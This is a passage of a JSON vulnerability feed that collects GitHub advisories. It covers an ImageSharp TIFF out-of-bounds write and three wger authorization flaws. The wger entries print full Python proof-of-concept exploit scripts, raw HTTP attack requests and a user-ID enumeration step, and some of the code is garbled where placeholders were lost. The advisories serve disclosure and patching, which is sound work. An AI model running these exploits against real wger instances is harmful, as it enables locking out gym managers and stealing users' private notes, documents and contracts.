[T4TiffCompression.cs#L69-L119](https://github.com/SixLabors/ImageSharp/blob/5cd4d0d26a82a9549f297a237aea9cf665bddff8/src/ImageSharp/Formats/Tiff/Compression/Decompressors/T4TiffCompression.cs#L69-L119), `T6TiffCompression.cs#L76-L108` — per-row advance of `this.width` bits via `BitWriterUtils.WriteBits` with no buffer-length check ([BitWriterUtils.cs#L51](https://github.com/SixLabors/ImageSharp/blob/5cd4d0d26a82a9549f297a237aea9cf665bddff8/src/ImageSharp/Formats/Tiff/Compression/BitWriterUtils.cs#L51)); note `TiffDecoderCore.cs:829-831` later reads the buffer in `bytesPerTileRow` strides, confirming the protocol expects tile-width rows\n\nAttack surface: `Image.Load(stream)` on an attacker-supplied tiled TIFF (`TiffDecoderCore.DecodeImageWithTiles` → `DecodeTilesChunky`). Default configuration; only requirement is a standard tiled TIFF header (TileWidth=16, TileLength=16) + Compression=3 (T4; T6 also constructible).\n\n**Suggested remediation:**\n1. Short-term: when `isTiled`, construct the T4/T6/MH decompressor with `tileWidth` (not frame width), or clip row writes to the caller-provided buffer length.\n2. Root fix: bound the write side of `BitWriterUtils` (pass remaining bits), and validate every fax row advance against buffer capacity on both tiled and strip paths.\n3. Regression tests: Compression=2/3/4 × tiled with TileWidth , IntPtr, IntPtr, Byte)\n at ...T4TiffCompression.WritePixelRun(...)\n at ...T4TiffCompression.Decompress(...)\n Aborted (core dumped); exit=134\n ```\n\n3. Controls: the same file with Compression=None decodes normally (container is fine); a T6 all-white-rows variant advances >512 MB of bit offset without a real write (silent corruption window) before tripping on a directory-level TileOffsets count check.\n\n## Impact\n\n- **What it is:** out-of-bounds write (CWE-787). For any service decoding untrusted tiled TIFFs: remote, default-configuration, deterministic process crash (DoS), plus a heap OOB write whose per-tile length and row width are attacker-tunable — a potential code-execution surface. This is a vulnerability in the library itself, in scope of your SECURITY.md.\n- **Who is impacted:** applications decoding untrusted TIFF with SixLabors.ImageSharp at the current major (verified on main past v4.1.0); tiled + fax-compressed files are the trigger, which ordinary TIFF writers can produce.\n\n---\n\n---\n\nReported by **Kimi Security Team** (bug-report@moonshot.ai).\n\nAffected package ranges reported by GitHub:\nSixLabors.ImageSharp: >= 3.0.0, < 3.2.0\nSixLabors.ImageSharp: >= 4.0.0, < 4.1.1","action":"GitHub lists first patched versions: SixLabors.ImageSharp: 3.2.0; SixLabors.ImageSharp: 4.1.1. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-07T16:18:57.000Z","updatedAt":"2026-10-26T16:04:12.000Z","regions":["Global"],"vendor":null,"product":"SixLabors.ImageSharp, SixLabors.ImageSharp","stacks":[".NET",".NET packages (NuGet)","ImageSharp","nuget","SixLabors.ImageSharp"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://github.com/advisories/GHSA-v76p-62qx-wwq2","asOf":"2026-10-26T16:04:12.000Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-v76p-62qx-wwq2","url":"https://github.com/advisories/GHSA-v76p-62qx-wwq2","type":"primary","publishedAt":"2026-10-07T16:18:57.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-v76p-62qx-wwq2, its actual identifiers, source dates, and structured metrics."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:40:55.462Z","reviewedAt":null},"reviewed":false},{"id":"microsoft-security-3-lessons-from-frontier-ai-vulnerability-research-88f938d50228","cveId":null,"aliases":[],"kind":"vulnerability","title":"3 lessons from frontier AI vulnerability research","summary":"Read how How Microsoft Security's FORGE Lab is scaling vulnerability research from Windows to the Linux kernel.\n\n The post 3 lessons from frontier AI vulnerability research appeared first on Microsoft Security Blog .","detail":"Read how How Microsoft Security's FORGE Lab is scaling vulnerability research from Windows to the Linux kernel.\n\n The post 3 lessons from frontier AI vulnerability research appeared first on Microsoft Security Blog .\n\nPublished by Microsoft Security blog; not independently reviewed by KEVWire. Consult the exact article and any primary disclosure it links.","action":"Check the vendor advisory linked from the article for affected versions and fixes.","publishedAt":"2026-10-07T16:00:00.000Z","updatedAt":null,"regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"Microsoft Security blog: 3 lessons from frontier AI vulnerability research","url":"https://www.microsoft.com/en-us/security/blog/2026/10/07/3-lessons-from-frontier-ai-vulnerability-research/","type":"primary","publishedAt":"2026-10-07T16:00:00.000Z","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The organization's own post describing this vulnerability or threat; authoritative for what it states, not independently verified here."},{"name":"Microsoft Security blog syndication feed","url":"https://www.microsoft.com/en-us/security/blog/feed/","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:50:55.505Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:50:55.505Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-46438","cveId":"CVE-2026-46438","aliases":["GHSA-rjpf-7pf5-q54x"],"kind":"vulnerability","title":"wger: Cross-User Data Corruption via Missing Ownership Check on WorkoutLog.slot_entry","summary":"An authenticated attacker can inject arbitrary workout log entries into any other user's `SlotEntry` by supplying the victim's `slot_entry` ID in a `POST /api/v2/workoutlog/` request. The `slot_entry` foreign key is not included in the ownership verification performed by `WorkoutLogViewSet.get_owner_objects()`, so the server accepts and persists the cross-user reference without error.\n\nBecause `SlotEntry.get_config_data()` retrieves associated logs via `self.workoutlog_set.all()` with **no user filter**, the attacker's injected data is silently folded into the victim's progressive-overload calculations, corrupting their auto-generated weight and repetition targets.","detail":"### Summary\n\nAn authenticated attacker can inject arbitrary workout log entries into any other user's `SlotEntry` by supplying the victim's `slot_entry` ID in a `POST /api/v2/workoutlog/` request. The `slot_entry` foreign key is not included in the ownership verification performed by `WorkoutLogViewSet.get_owner_objects()`, so the server accepts and persists the cross-user reference without error.\n\nBecause `SlotEntry.get_config_data()` retrieves associated logs via `self.workoutlog_set.all()` with **no user filter**, the attacker's injected data is silently folded into the victim's progressive-overload calculations, corrupting their auto-generated weight and repetition targets.\n\n### Details\n\nwger uses a centralized ownership-verification pattern in `WgerOwnerObjectModelViewSet.create()` (file: `wger/utils/viewsets.py`). This method iterates over the list returned by each ViewSet's `get_owner_objects()` and verifies that every listed foreign-key value in the request belongs to the authenticated user. **Foreign keys not present in the list are never checked.**\n\n`WorkoutLogViewSet.get_owner_objects()` returns:\n\n```python\n# File: wger/manager/api/views.py, lines 312-316\ndef get_owner_objects(self):\n return [(Routine, 'routine'), (WorkoutSession, 'session')]\n # ^^^^^^^ checked ^^^^^^^^^^^^^^^ checked\n # (SlotEntry, 'slot_entry') is MISSING\n```\n\nBecause `slot_entry` is omitted, an attacker can supply their own `routine` (which passes the ownership check) alongside a victim's `slot_entry` ID (which is never verified).\n\nThe second contributing factor is in `SlotEntry.get_config_data()`:\n\n```python\n# File: wger/manager/models/slot_entry.py, line 367\nlogs = list(self.workoutlog_set.all()) # no .filter(user=...)\n```\n\nThis reverse-relation query returns **all** `WorkoutLog` rows linked to the `SlotEntry`, regardless of which user created them. The attacker's injected entries are therefore included in the victim's progression calculations.\n\n### PoC\n\n#### Prerequisites\n\n- Two authenticated user accounts (attacker and victim)\n- The attacker knows (or can enumerate) the victim's `SlotEntry` ID\n- The attacker has at least one `Routine` of their own (to satisfy the `routine` ownership check)\n\n#### Attack Steps\n\n```\nPOST /api/v2/workoutlog/\nAuthorization: Token \nContent-Type: application/json\n\n{\n \"routine\": ,\n \"slot_entry\": ,\n \"exercise\": ,\n \"repetitions\": 999,\n \"weight\": 999,\n \"repetitions_unit\": 1,\n \"weight_unit\": 1,\n \"date\": \"2025-01-15\",\n \"iteration\": 1\n}\n```\n\n**Expected:** HTTP 403 (the `slot_entry` belongs to another user)\n**Actual:** HTTP 201 (the log is created and linked to the victim's `SlotEntry`)\n\n#### Proof of Concept Script\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nPoC: Cross-User Data Corruption via WorkoutLog.slot_entry IDOR\nTarget: wger Workout Manager\nSeverity: CRITICAL - CVSS 7.1\nCWE-639: Authorization Bypass Through User-Controlled Key\n\nUsage:\n python3 poc.py http://localhost:8000\n\"\"\"\n\nimport requests\nimport sys\nimport json\nfrom datetime import date, timedelta\n\nif len(sys.argv) \")\n print(f\"Example: {sys.argv[0]} http://localhost:8000\")\n sys.exit(1)\n\nBASE = sys.argv[1].rstrip(\"/\")\nAPI = f\"{BASE}/api/v2\"\n\nVICTIM_USER = \"admin\"\nVICTIM_PASS = \"adminadmin\"\nATTACKER_USER = \"attacker_idor_poc\"\nATTACKER_PASS = \"Attacker!Poc!2025\"\n\nBANNER = \"\"\"\n=====================================================================\n PoC: Cross-User Data Corruption via WorkoutLog.slot_entry IDOR\n Severity: CRITICAL\n CWE-639: Authorization Bypass Through User-Controlled Key\n=====================================================================\n\"\"\"\nprint(BANNER)\n\n# ---- Helper ----\ndef api_login(username, password):\n r = requests.post(f\"{API}/login/\", json={\n \"username\": username, \"password\": password\n })\n if r.status_code == 200:\n return r.json().get(\"token\")\n return None\n\ndef api_headers(token):\n return {\"Authorization\": f\"Token {token}\", \"Content-Type\": \"application/json\"}\n\n# ---- 1. Authenticate both users ----\n\nprint(\"[1] Authenticating users...\")\n\nvictim_token = api_login(VICTIM_USER, VICTIM_PASS)\nif not victim_token:\n print(f\"[-] Cannot log in as victim ({VICTIM_USER}). Check credentials.\")\n sys.exit(1)\nprint(f\" Victim ({VICTIM_USER}): token={victim_token[:16]}...\")\n\nattacker_token = api_login(ATTACKER_USER, ATTACKER_PASS)\nif not attacker_token:\n print(f\" Registering attacker account...\")\n r = requests.post(f\"{API}/register/\", json={\n \"username\": ATTACKER_USER,\n \"password\": ATTACKER_PASS,\n })\n if r.status_code in (200, 201):\n attacker_token = r.json().get(\"token\")\n if not attacker_token:\n attacker_token = api_login(ATTACKER_USER, ATTACKER_PASS)\n if not attacker_token:\n print(f\"[-] Cannot create/login attacker. Response: {r.text[:200]}\")\n sys.exit(1)\nprint(f\" Attacker ({ATTACKER_USER}): token={attacker_token[:16]}...\")\n\n# ---- 2. Create victim's routine chain ----\n\nprint(\"\\n[2] Setting up victim's private routine chain...\")\n\nvh = api_headers(victim_token)\ntoday = str(date.today())\nend_date = str(date.today() + timedelta(days=30))\n\nr = requests.post(f\"{API}/routine/\", headers=vh, json={\n \"name\": \"Victim Private Routine\", \"start\": today, \"end\": end_date\n})\nvictim_routine_id = r.json()[\"id\"]\nprint(f\" Routine id={victim_routine_id}\")\n\nr = requests.post(f\"{API}/day/\", headers=vh, json={\n \"routine\": victim_routine_id, \"order\": 1, \"name\": \"Push Day\"\n})\nvictim_day_id = r.json()[\"id\"]\nprint(f\" Day id={victim_day_id}\")\n\nr = requests.post(f\"{API}/slot/\", headers=vh, json={\n \"day\": victim_day_id, \"order\": 1\n})\nvictim_slot_id = r.json()[\"id\"]\nprint(f\" Slot id={victim_slot_id}\")\n\nr = requests.get(f\"{API}/exercise/?limit=1&format=json\", headers=vh)\nexercise_id = r.json()[\"results\"][0][\"id\"]\n\nr = requests.post(f\"{API}/slot-entry/\", headers=vh, json={\n \"slot\": victim_slot_id, \"exercise\": exercise_id, \"order\": 1, \"type\": \"normal\"\n})\nvictim_slot_entry_id = r.json()[\"id\"]\nprint(f\" SlotEntry id={victim_slot_entry_id} passes check)\")\nprint(f\" slot_entry = {victim_slot_entry_id} (VICTIM's -> NOT CHECKED)\")\nprint(f\" weight = 999\")\nprint(f\"\n\nAffected package ranges reported by GitHub:\nwger: <= 2.1","action":"Consult the exact GitHub advisory for affected versions, mitigation, and patch availability.","publishedAt":"2026-10-07T13:59:17.000Z","updatedAt":"2026-10-26T15:51:05.000Z","regions":["Global"],"vendor":null,"product":"wger","stacks":["Python packages (PyPI)","wger","pip"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":6.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N","sourceUrl":"https://github.com/advisories/GHSA-rjpf-7pf5-q54x","asOf":"2026-10-26T15:51:05.000Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-rjpf-7pf5-q54x","url":"https://github.com/advisories/GHSA-rjpf-7pf5-q54x","type":"primary","publishedAt":"2026-10-07T13:59:17.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-rjpf-7pf5-q54x, its actual identifiers, source dates, and structured metrics."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:40:55.462Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-46434","cveId":"CVE-2026-46434","aliases":["GHSA-x249-cx55-2h87"],"kind":"vulnerability","title":"wger: Trainer Privilege Escalation - Improper Privilege Management","summary":"A user with only the `gym_trainer` permission can deactivate any account in the same gym, including `gym_manager` and `general_gym_manager` accounts. The `UserDeactivateView` grants access to anyone holding **any one** of `gym.manage_gym`, `gym.manage_gyms`, or `gym.gym_trainer` (OR logic via `WgerMultiplePermissionRequiredMixin`), and performs no privilege-hierarchy check to prevent a lower-privileged role from disabling a higher-privileged one.\n\n`UserDeactivateView` (file: `wger/core/views/user.py`, line 378) is configured with:","detail":"### Summary\n\nA user with only the `gym_trainer` permission can deactivate any account in the same gym, including `gym_manager` and `general_gym_manager` accounts. The `UserDeactivateView` grants access to anyone holding **any one** of `gym.manage_gym`, `gym.manage_gyms`, or `gym.gym_trainer` (OR logic via `WgerMultiplePermissionRequiredMixin`), and performs no privilege-hierarchy check to prevent a lower-privileged role from disabling a higher-privileged one.\n\n### Details\n\n`UserDeactivateView` (file: `wger/core/views/user.py`, line 378) is configured with:\n\n```python\npermission_required = ('gym.manage_gym', 'gym.manage_gyms', 'gym.gym_trainer')\n```\n\n`WgerMultiplePermissionRequiredMixin` (file: `wger/utils/generic_views.py`, line 48) treats this tuple as an OR check -- any single permission is sufficient:\n\n```python\nclass WgerMultiplePermissionRequiredMixin(PermissionRequiredMixin):\n def has_permission(self):\n for permission in self.get_permission_required():\n if self.request.user.has_perm(permission):\n return True # /deactivate\n```\n\nThe manager's account is immediately set to `is_active = False`. The manager can no longer log in.\n\n#### Proof of Concept Script\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nPoC: Trainer -> Manager Privilege Escalation (Account Deactivation)\nTarget: wger Workout Manager\nSeverity: HIGH - CVSS 6.5\nCWE-269: Improper Privilege Management\n\nUsage:\n python3 poc.py http://localhost:8000\n\"\"\"\n\nimport requests\nimport sys\nimport re\n\nif len(sys.argv) \")\n print(f\"Example: {sys.argv[0]} http://localhost:8000\")\n sys.exit(1)\n\nBASE = sys.argv[1].rstrip(\"/\")\nAPI = f\"{BASE}/api/v2\"\n\nMANAGER_USER = \"gym_manager_poc\"\nMANAGER_PASS = \"Manager!Poc!2025\"\nTRAINER_USER = \"evil_trainer_poc\"\nTRAINER_PASS = \"Trainer!Poc!2025\"\n\nBANNER = \"\"\"\n=====================================================================\n PoC: Trainer -> Manager Privilege Escalation\n Severity: HIGH\n CWE-269: Improper Privilege Management\n=====================================================================\n\"\"\"\nprint(BANNER)\n\n# ---- Helper ----\ndef api_login(username, password):\n r = requests.post(f\"{API}/login/\", json={\n \"username\": username, \"password\": password\n })\n if r.status_code == 200:\n return r.json().get(\"token\")\n return None\n\ndef api_headers(token):\n return {\"Authorization\": f\"Token {token}\", \"Content-Type\": \"application/json\"}\n\n# ---- Setup via Django ORM (must run inside container) ----\n\nimport os, django\nos.environ['DJANGO_SETTINGS_MODULE'] = 'settings.main'\nsys.path.insert(0, '/home/wger/src')\ndjango.setup()\n\nfrom django.contrib.auth.models import User, Group\nfrom wger.gym.models import Gym\n\n# Ensure permission groups exist\nfor name in ['gym_member', 'gym_trainer', 'gym_manager', 'general_gym_manager']:\n Group.objects.get_or_create(name=name)\n\n# Create gym\ngym, _ = Gym.objects.get_or_create(name=\"PoC Test Gym\")\nprint(f\"[*] Gym: {gym.name} (id={gym.id})\")\n\n# Create manager (the VICTIM)\nmanager, created = User.objects.get_or_create(\n username=MANAGER_USER,\n defaults={\"is_active\": True}\n)\nif created:\n manager.set_password(MANAGER_PASS)\n manager.save()\nmanager.userprofile.gym = gym\nmanager.userprofile.save()\nmanager.groups.clear()\nmanager.groups.add(Group.objects.get(name='gym_manager'))\nmanager.is_active = True\nmanager.save()\nprint(f\"[*] Manager (victim): {manager.username} (id={manager.id})\")\nprint(f\" Groups: {[g.name for g in manager.groups.all()]}\")\nprint(f\" is_active: {manager.is_active}\")\n\n# Create trainer (the ATTACKER)\ntrainer, created = User.objects.get_or_create(\n username=TRAINER_USER,\n defaults={\"is_active\": True}\n)\nif created:\n trainer.set_password(TRAINER_PASS)\n trainer.save()\ntrainer.userprofile.gym = gym\ntrainer.userprofile.save()\ntrainer.groups.clear()\ntrainer.groups.add(Group.objects.get(name='gym_trainer'))\nprint(f\"[*] Trainer (attacker): {trainer.username} (id={trainer.id})\")\nprint(f\" Groups: {[g.name for g in trainer.groups.all()]}\")\n\n# ---- 1. Verify manager is active BEFORE attack ----\n\nmanager.refresh_from_db()\nprint(f\"\\n[*] Manager is_active BEFORE attack: {manager.is_active}\")\nassert manager.is_active, \"Manager should be active before test\"\n\n# ---- 2. ATTACK: Trainer deactivates manager ----\n\nprint(f\"\\n{'='*65}\")\nprint(f\" ATTACK: Trainer deactivating gym manager account\")\nprint(f\"{'='*65}\")\n\nfrom django.test import Client\nc = Client()\nc.force_login(trainer)\nresp = c.get(f\"/en/user/{manager.id}/deactivate\", follow=True)\nprint(f\"\\n GET /en/user/{manager.id}/deactivate\")\nprint(f\" (Logged in as: {TRAINER_USER} - gym_trainer only)\")\nprint(f\" Response: HTTP {resp.status_code}\")\n\n# ---- 3. VERIFY ----\n\nprint(f\"\\n{'='*65}\")\nprint(f\" VERIFICATION\")\nprint(f\"{'='*65}\")\n\nmanager.refresh_from_db()\nprint(f\"\\n Manager is_active AFTER attack: {manager.is_active}\")\n\nif not manager.is_active:\n print(\"\"\"\n +----------------------------------------------------------+\n | VULNERABILITY CONFIRMED |\n | |\n | A gym_trainer successfully deactivated a gym_manager! |\n | No privilege hierarchy check prevents this. |\n | The trainer can now lock out all managers from the gym. |\n +----------------------------------------------------------+\n\"\"\")\n manager.is_active = True\n manager.save()\n print(\" [+] Cleanup: Manager re-activated\")\nelse:\n print(\"\\n Manager is still active - NOT vulnerable\")\n```\n\n#### Proof of Concept Output\n\n```\n=====================================================================\n PoC: Trainer -> Manager Privilege Escalation\n Severity: HIGH\n CWE-269: Improper Privilege Management\n=====================================================================\n\n[*] Gym: PoC Test Gym (id=2)\n[*] Manager (victim): gym_manager_poc (id=4)\n Groups: ['gym_manager']\n is_active: True\n[*] Trainer (attacker): evil_trainer_poc (id=5)\n Groups: ['gym_trainer']\n\n[*] Manager is_active BEFORE attack: True\n\n=================================================================\n ATTACK: Trainer deactivating gym manager account\n=================================================================\n\n Trainer login: HTTP 200\n GET http://localhost/en/u\n\nAffected package ranges reported by GitHub:\nwger: <= 2.1","action":"Consult the exact GitHub advisory for affected versions, mitigation, and patch availability.","publishedAt":"2026-10-07T13:59:14.000Z","updatedAt":"2026-10-26T15:48:39.000Z","regions":["Global"],"vendor":null,"product":"wger","stacks":["Python packages (PyPI)","wger","pip"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N","sourceUrl":"https://github.com/advisories/GHSA-x249-cx55-2h87","asOf":"2026-10-26T15:48:39.000Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-x249-cx55-2h87","url":"https://github.com/advisories/GHSA-x249-cx55-2h87","type":"primary","publishedAt":"2026-10-07T13:59:14.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-x249-cx55-2h87, its actual identifiers, source dates, and structured metrics."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:40:55.462Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-43976","cveId":"CVE-2026-43976","aliases":["GHSA-c72h-82w6-rqfp"],"kind":"vulnerability","title":"wger: cross-tenant admin notes/contracts leak via gym=None bypass (5 views)","summary":"Five gym management views in wger apply a flawed gym-scope guard (`gym_a != gym_b`) that silently passes when both operands are `None`. A trainer with `gym.gym_trainer` and `gym.add_adminusernote` permissions and no gym assignment (`gym=None`) can read private admin notes, uploaded documents, gym contracts, user configuration, and user permission data for **any other unaffiliated user** on the instance. The subsequent querysets filter only on the attacker-supplied `member_id` with no secondary gym-scoped validation, so all records are disclosed.\n\n**Files**: `wger/gym/views/user.py`, `wger/gym/views/admin_notes.py`, `wger/gym/views/document.py`, `wger/gym/views/contract.py`, `wger/gym/views/user_config.py`","detail":"### Summary\n\nFive gym management views in wger apply a flawed gym-scope guard (`gym_a != gym_b`) that silently passes when both operands are `None`. A trainer with `gym.gym_trainer` and `gym.add_adminusernote` permissions and no gym assignment (`gym=None`) can read private admin notes, uploaded documents, gym contracts, user configuration, and user permission data for **any other unaffiliated user** on the instance. The subsequent querysets filter only on the attacker-supplied `member_id` with no secondary gym-scoped validation, so all records are disclosed.\n\n### Details\n\n**Files**: `wger/gym/views/user.py`, `wger/gym/views/admin_notes.py`, `wger/gym/views/document.py`, `wger/gym/views/contract.py`, `wger/gym/views/user_config.py`\n\nThe same flawed comparison pattern appears across at least five views:\n\n```python\n# VULNERABLE - applied in admin_notes_list, documents_list, contracts_list,\n# user_config, and gym_permissions_user_edit\nif request.user.userprofile.gym != user.userprofile.gym:\n return HttpResponseForbidden()\n\n# After the guard (admin notes example):\nnotes = AdminUserNote.objects.filter(member=member) # only filtered by member_id\n```\n\nWhen both `request.user.userprofile.gym` and `user.userprofile.gym` are `None`, Python evaluates `None != None` as `False`, and `HttpResponseForbidden` is never reached. The subsequent queryset applies only the attacker-supplied `member` (user ID) as a filter — there is no secondary check tying the queryset to the requesting trainer's gym. All private admin notes, documents, and contracts for the target user are returned in the response body.\n\n**Affected endpoints**:\n- `GET /en/gym/notes/list/user/ ` -> admin notes list view\n- `GET /en/gym/documents/list/user/ ` -> documents list view\n- `GET /en/gym/contract/list/ ` -> contracts list view\n- `GET /en/gym/user/ /config` -> user config view\n- `GET /en/gym/user/ /permissions` -> permission edit view\n\n**Suggested patch**:\n\n```diff\n--- a/wger/gym/views/user.py\n+++ b/wger/gym/views/user.py\n- if request.user.userprofile.gym != user.userprofile.gym:\n- return HttpResponseForbidden()\n+ trainer_gym_id = request.user.userprofile.gym_id\n+ member_gym_id = user.userprofile.gym_id\n+\n+ if trainer_gym_id is None or trainer_gym_id != member_gym_id:\n+ return HttpResponseForbidden()\n\n# Also tighten the queryset with a gym-scoped secondary filter:\n- notes = AdminUserNote.objects.filter(member=member)\n+ notes = AdminUserNote.objects.filter(\n+ member=member,\n+ member__userprofile__gym_id=request.user.userprofile.gym_id,\n+ )\n```\n\nExtract a shared helper `assert_same_gym(trainer, member)` and call it consistently from all five affected views to eliminate future drift.\n\n### PoC\n\nTested on `wger/server:latest` Docker image. Test users: `trainer1` (`gym.gym_trainer` + `gym.add_adminusernote` permissions, `userprofile.gym=None`) and `alice` (regular user, `userprofile.gym=None`, has a private admin note pre-seeded).\n\n**Step 1** - Authenticate as trainer with required perms and gym=None:\n\n```\nPOST /en/user/login HTTP/1.1\nHost: target\nContent-Type: application/x-www-form-urlencoded\n\nusername=trainer1&password=[REDACTED]&csrfmiddlewaretoken=[REDACTED]\n\n-> 302 Found; Set-Cookie: sessionid=[trainer1_session]\n```\n\n**Step 2** - Read victim's private admin notes:\n\n```\nGET /en/gym/notes/list/user/2 HTTP/1.1\nHost: target\nCookie: sessionid=[trainer1_session]\n\n-> 200 OK\nbody contains all private admin notes for user 2:\n \"PRIVATE_NOTE_ABOUT_ALICE_SALARY_50K\"\n \"PHASE4_SECRET_SALARY_100K\"\n```\n\n**Step 3** - Read victim's documents and contracts (same pattern):\n\n```\nGET /en/gym/documents/list/user/2\nGET /en/gym/contract/list/2\n\n-> 200 OK for each; all records disclosed\n```\n\n**Step 4** (optional) - Mass enumeration across all gym=None users:\n\n```\nIterate user PKs 1..N:\nGET /en/gym/notes/list/user/{uid}\n-> 200 = gym=None victim (notes leaked)\n-> 403 = gym-assigned user (check works correctly when gym values differ)\n```\n\n**RBAC Disproof Protocol**:\n- Scenario A (admin, gym=1 -> member gym=1) -> HTTP 200 (expected - same-gym read is a documented feature)\n- Scenario B (trainer1, gym=None -> alice gym=None) -> **HTTP 200 with PII in body** (expected HTTP 403)\n- Scenario C (admin, gym=1 -> alice gym=None) -> HTTP 403 (expected - guard works when gyms differ; confirms bypass is `None`-specific)\n\nReproducibility: 2/2 runs after clean-baseline database reset.\n\n### Impact\n\nAn authenticated trainer with `gym.gym_trainer` + `gym.add_adminusernote` permissions and `userprofile.gym=None` can:\n\n1. Enumerate and read all private admin notes for every other `gym=None` user (notes may contain salary data, medical notes, disciplinary records).\n2. Download all uploaded documents attached to those users (contracts, ID scans, medical forms).\n3. Read all gym contracts (financial terms, subscription details).\n4. Read user configuration details.\n5. Via the permissions endpoint, potentially **modify victim permissions** (creates a privilege escalation path - not fully explored in this submission but the endpoint is reachable).\n\n**Affected deployments**: every wger instance where `gym.gym_trainer` + `gym.add_adminusernote` are delegated to non-admin users AND any other users exist with `gym=None`. The `gym=None` state is the **default for newly registered users** before manual gym assignment, so every public-registration wger instance is affected.\n\n**Severity**: High (CVSS 7.1). Network-reachable, low complexity, requires only low privilege (delegated trainer), scope unchanged (same wger authority), high confidentiality loss across all unaffiliated accounts, low integrity impact (permission-edit view reachable).\n\nThis is structurally the same bug class as the sibling findings affecting `trainer_login` and `reset_user_password` (submitted separately). The root cause - Django ORM object-`!=` returning `False` when both sides are `None` - warrants a shared `same_gym()` helper applied across all five views.\n\nAffected package ranges reported by GitHub:\nwger: <= 2.1","action":"Consult the exact GitHub advisory for affected versions, mitigation, and patch availability.","publishedAt":"2026-10-07T13:33:14.000Z","updatedAt":"2026-10-26T15:50:10.000Z","regions":["Global"],"vendor":null,"product":"wger","stacks":["Python packages (PyPI)","wger","pip"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N","sourceUrl":"https://github.com/advisories/GHSA-c72h-82w6-rqfp","asOf":"2026-10-26T15:50:10.000Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-c72h-82w6-rqfp","url":"https://github.com/advisories/GHSA-c72h-82w6-rqfp","type":"primary","publishedAt":"2026-10-07T13:33:14.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-c72h-82w6-rqfp, its actual identifiers, source dates, and structured metrics."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:40:55.462Z","reviewedAt":null},"reviewed":false},{"id":"microsoft-security-ciso-perspectives-on-managing-vulnerability-risks-in-the-age-of-ai-9e9afd78965e","cveId":null,"aliases":[],"kind":"vulnerability","title":"CISO perspectives on managing vulnerability risks in the age of AI","summary":"Learn how CISOs can mitigate cybersecurity risks and increase resilience in the age of AI-powered vulnerability management.\n\n The post CISO perspectives on managing vulnerability risks in the age of AI appeared first on Microsoft Security Blog .","detail":"Learn how CISOs can mitigate cybersecurity risks and increase resilience in the age of AI-powered vulnerability management.\n\n The post CISO perspectives on managing vulnerability risks in the age of AI appeared first on Microsoft Security Blog .\n\nPublished by Microsoft Security blog; not independently reviewed by KEVWire. Consult the exact article and any primary disclosure it links.","action":"Check the vendor advisory linked from the article for affected versions and 